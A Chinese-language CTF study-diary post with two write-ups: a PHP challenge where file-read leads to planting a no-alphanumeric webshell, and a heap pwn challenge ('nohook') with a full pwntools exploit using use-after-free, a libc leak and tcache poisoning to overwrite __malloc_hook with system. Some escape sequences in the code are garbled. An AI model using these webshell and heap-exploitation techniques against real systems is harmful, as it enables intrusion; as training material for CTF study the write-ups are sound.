皮蛋厂的学习日记 | 2022.03.02 [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

admin 2022年3月3日10:21:10评论0 views字数 6047阅读20分9秒阅读模式

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~

  • 2020级 sp4c1ous | [TQLCTF2022]Simple PHP

  • 2020级 大能猫 | 2021NUAACTF-nohook (UAF、edit检测hook、花指令)

    • 例行检查

    • 逆向分析

    • 利用思路

WEB

2020级 sp4c1osu | [TQLCTF2022]Simple PHP

登陆后是一个登陆和注册页面,先随便注册一个,登陆一下

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

里面是这个样子的,随便点了点,看了一瞎源码,大概有这么几个地方比较可疑

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

在经过尝试后,发现上面的第一处存在任意文件读取,把几个页面的源码读一下 只截取有用的部分了

index.php

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
    $hash_user = md5($_POST['user']);
    $hash_pass = 'zsf'.md5($_POST['pass']);
    if(isset($_POST['punctuation'])){
        //filter
        if (strlen($_POST['user']) > 6){
            echo("<script>alert('Username is too long!');</script>");
        }
        elseif(strlen($_POST['website']) > 25){
            echo("<script>alert('Website is too long!');</script>");
        }
        elseif(strlen($_POST['punctuation']) > 1000){
            echo("<script>alert('Punctuation is too long!');</script>");
        }
        else{
            if(preg_match('/[^w/()*<>]/', $_POST['user']) === 0){
                if (preg_match('/[^w/*:.;()n<>]/', $_POST['website']) === 0){
                    $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>?]/","",$_POST['punctuation']);
                    $template = file_get_contents('./template.html');
                    $content = str_replace("__USER__", $_POST['user'], $template);
                    $content = str_replace("__PASS__", $hash_pass, $content);
                    $content = str_replace("__WEBSITE__", $_POST['website'], $content);
                    $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
                    file_put_contents('sandbox/'.$hash_user.'.php', $content);
                    echo("<script>alert('Successed!');</script>");
                }
                else{
                    echo("<script>alert('Invalid chars in website!');</script>");
                }
            }
            else{
                echo("<script>alert('Invalid chars in username!');</script>");
            }
        }
    }
    else{
        setcookie("user", $_POST['user'], time()+3600);
        setcookie("pass", $hash_pass, time()+3600);
        Header("Location:sandbox/$hash_user.php");
    }
}
?>

还有生成的php文件,这里根据index.php的源码重新注册了一个账号,看一下出现的位置

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

这里我们可以发现,直接写无数字字母webshell是不可能的,没有问号啊

考虑方向:

  1. 没有问号的标签

<% %><script language='php'></script>

但是这里显然也不成立 >也被过滤了

  1. 借用原有标签

这一个方向显然不是一开始我就能想出来的,不然就不会这么坐牢了QAQ

结合上面的生成文件的截图,以及index里对两个输入的过滤,我们可以发现,我们好像能够构造出来一个webshell了。

首先我们可以将中间的部分注释,这样我们的内容就可以当作php解析了

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

剩下的就是在/[a-z,A-Z,0-9>?]/的条件下写一个无数字字母webshell了 P牛的文章里好几种都可以用

打进去后会报错,但是可以执行代码,回显在源码中

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

PWN

大能猫 2020级|2021NUAACTF-nohook (UAF、edit检测hook、花指令)

例行检查

保护全开

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

逆向分析

main()看起来是一道菜单题目

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

sub_1228()函数跟进之后是坏掉的

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

我们直接查看汇编,发现只是我们常见的三个setbuf操作

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

下面标识是从1229开始,这也对应了调用的时候的+1操作

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

sub_128E()

是一个菜单函数,有增查删改四个功能

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

删除的里面有个uaf漏洞

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

edit函数

查看此函数的伪代码没有什么特别的,但是结合汇编之后就有了新的看法

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

另有蹊跷(我不会去花指令呜呜呜呜呜呜呜

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

去掉花指令之后我们得到了这样的代码:(piao的

__int64 edit()
{
  __int64 result; // rax
  int v1; // [rsp+14h] [rbp-4h]

  puts("id:");
  result = itoll_read();
  v1 = result;
  if ( (unsigned int)result <= 0x1F )
  {
    result = qword_4080[(unsigned int)result];
    if ( result )
    {
      read(0, (void *)qword_4080[v1], dword_4180[v1]);
      if ( *(_QWORD *)off_4018 || (result = *(_QWORD *)off_4020) != 0 ) // *(long long*)freehk!=0||*(long long*)mallochk!=0
      {
        *(_QWORD *)off_4018 = 0LL;
        result = (__int64)off_4020;
        *(_QWORD *)off_4020 = 0LL;
      }
    }
  }
  return result;
}
皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

我们找到两个偏移,通过调试我们发现这两个一个是freehook,一个是malloachook,当他们不为零的时候置零,这样的话我们就不能正常的去写入onegadget去执行,而是要另想办法去搞。

利用思路

存在UAF漏洞,通过ub泄露libc,tcache bin attack将tcache执行system,然后狗仔tcache执行malloachook,我们得到tcache链表里面的顺序为:mallochook->system,这样的话malloc中就会出现system的地址。

泄露libc

add(0x420)#0 large bin
add(0x10)#1
edit(1,'/bin/shx00')
delete(0# free to unsorted bin
show(0# UAF
sh.recvuntil('x7fx00x00')
libcbase = u64(sh.recv(6).ljust(8,b'x00')) + 0x7f2be7c93000 - 0x7f2be7e7ebe0
binsh = libcbase + 0x7f7c9aa4c5aa - 0x7f7c9a895000
print hex(libcbase)

有uaf,我们就释放一个ub大小的堆块然后show就可以得到libc地址。

将堆块分配到mallochook中,并构造出堆块的size

add(0x420)#0 large bin
add(0x10)#1
edit(1,'/bin/shx00')
dele(0# free to unsorted bin
show(0# UAF
sh.recvuntil('x7fx00x00')
libcbase = u64(sh.recv(6).ljust(8,b'x00')) + 0x7f2be7c93000 - 0x7f2be7e7ebe0
binsh = libcbase + 0x7f7c9aa4c5aa - 0x7f7c9a895000

print hex(libcbase)

申请0x20大小的堆块,随后通过tcachebinattack 申请到刚刚构造的堆块去

add(0x10)#6
add(0x10)#7
dele(7)
dele(6)
edit(6,p64(libcbase+libc.sym['__malloc_hook']))
add(0x10)#8-6
add(0x10)#9 malloac_hook

然后我们用相同的办法申请到system

add(0x10)#14
add(0x10)#15
dele(15)
dele(14)
edit(14,p64(libcbase+libc.sym['system']))
add(0x10)

然后此时我们tcachebin中是这样的

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

0x20的指针指向了system,这样的话我们就可以将malloc那个堆块释放进入tcache

如下

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

这就成功写入了

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

好了

皮蛋厂的学习日记 | 2022.03.02  [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

Exp

#utf-8
from pwn import *
context.log_level='debug'

sh = process('./nohook')
libc = ELF('./libc-2.31.so')

def add(size):
        sh.recvuntil('exit')
        sh.sendline('1')
        sh.recvuntil('size:')
        sh.sendline(str(size))
def dele(idx):
        sh.recvuntil('exit')      
        sh.sendline('3')
        sh.recvuntil('id:')
        sh.sendline(str(idx))
def edit(idx,content):
        sh.recvuntil('exit')      
        sh.sendline('4')
        sh.recvuntil('id:')
        sh.sendline(str(idx))
        sh.send(content)
def show(idx):
        sh.recvuntil('exit')      
        sh.sendline('2')
        sh.recvuntil('id:')
        sh.sendline(str(idx))

add(0x420)#0
add(0x10)#1
edit(1,'/bin/shx00')
dele(0)
show(0)
sh.recvuntil('x7fx00x00')
libcbase = u64(sh.recv(6).ljust(8,b'x00')) + 0x7f2be7c93000 - 0x7f2be7e7ebe0
binsh = libcbase + 0x7f7c9aa4c5aa - 0x7f7c9a895000
print(hex(libcbase))
print(hex(binsh))

add(0x30)#2
add(0x30)#3
dele(3)
dele(2)
edit(2,p64(libcbase+libc.sym['__malloc_hook']-0x10))
malloc = libcbase+libc.sym['__malloc_hook']-0x10
#gdb.attach(sh)
add(0x30)#4 -2 
add(0x30)#5   __malloc_hook-0x10
edit(5,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21))
add(0x10)#6
print(hex(malloc))
add(0x10)#7
dele(7)
dele(6)
edit(6,p64(libcbase+libc.sym['__malloc_hook']))
add(0x10)#8 -6
add(0x10)#9  f

add(0x10)#10
add(0x10)#11
dele(11)
dele(10)
edit(10,p64(libcbase+libc.sym['system']))
#gdb.attach(sh)
add(0x10)
#gdb.attach(sh)
dele(9)
gdb.attach(sh)
add(str(binsh-1))
log.success(hex(libcbase))
sh.interactive()

原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 | 2022.03.02 [TQLCTF2022]Simple PHP&2021NUAACTF-nohook

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月3日10:21:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   皮蛋厂的学习日记 | 2022.03.02 [TQLCTF2022]Simple PHP&2021NUAACTF-nohookhttp://cn-sec.com/archives/812180.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息